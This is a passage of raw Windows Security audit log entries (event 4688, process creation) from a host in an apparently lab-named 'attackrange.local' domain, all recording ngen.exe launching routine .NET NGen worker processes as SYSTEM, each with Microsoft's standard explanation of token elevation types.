the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 364 -Pipe 2a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 2c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254375 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 0 -NGENProcess 374 -Pipe 1f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254382 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 31c -Pipe 2b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254381 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb68 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 3e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254380 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 200 -InterruptEvent 0 -NGENProcess 3b8 -Pipe 374 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254379 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 394 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 354 -Pipe 2e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 324 -Pipe 3b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254391 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 404 -Pipe 414 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254390 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 414 -Pipe 31c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254389 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 1e0 -Pipe 210 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 210 -InterruptEvent 0 -NGENProcess 31c -Pipe 354 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 31c -Pipe 200 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 31c -Pipe 364 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2c8 -Pipe 28c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 448 -Pipe 45c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 474 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254395 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - 